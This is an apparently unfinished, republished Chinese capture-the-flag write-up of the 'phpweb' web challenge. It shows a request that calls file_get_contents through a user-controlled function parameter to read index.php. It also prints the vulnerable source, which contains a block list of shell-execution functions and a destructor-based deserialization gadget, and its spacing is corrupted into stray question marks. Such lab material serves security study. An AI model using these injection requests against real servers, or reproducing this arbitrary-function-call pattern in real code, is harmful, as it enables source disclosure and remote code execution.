[网鼎杯 2020 朱雀组]phpweb 待续
抓包看參數? ?聯想到函數? 讀index.php代碼
func=file_get_contents&p=index.php
?
?
<?php
? ? $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", ?"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
? ? function gettime($func, $p) {
? ? ? ? $result = call_user_func($func, $p);
? ? ? ? $a= gettype($result);
? ? ? ? if ($a == "string") {
? ? ? ? ? ? return $result;
? ? ? ? } else {return "";}
? ? }
? ? class Test {
? ? ? ? var $p = "Y-m-d h:i:s a";
? ? ? ? var $func = "date";
? ? ? ? function __destruct() {
? ? ? ? ? ? if ($this->func != "") {
? ? ? ? ? ? ? ? echo gettime($this->func, $this->p);
? ? ? ? ? ? }
? ? ? ? }
? ? }
? ? $func = $_REQUEST["func"];
? ? $p = $_REQUEST["p"];
? ? if ($func != null) {
? ? ? ? $func = strtolower($func);
? ? ? ? if (!in_array($func,$disable_fun)) {
? ? ? ? ? ? echo gettime($func, $p);
? ? ? ? }else {
? ? ? ? ? ? die("Hacker...");
? ? ? ? }
? ? }
? ? ?>
總結
以上是生活随笔為你收集整理的[网鼎杯 2020 朱雀组]phpweb 待续的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: POS软件金管家:想知道上个月的商品剩下
- 下一篇: hp计算机如何重装win7,惠普笔记本重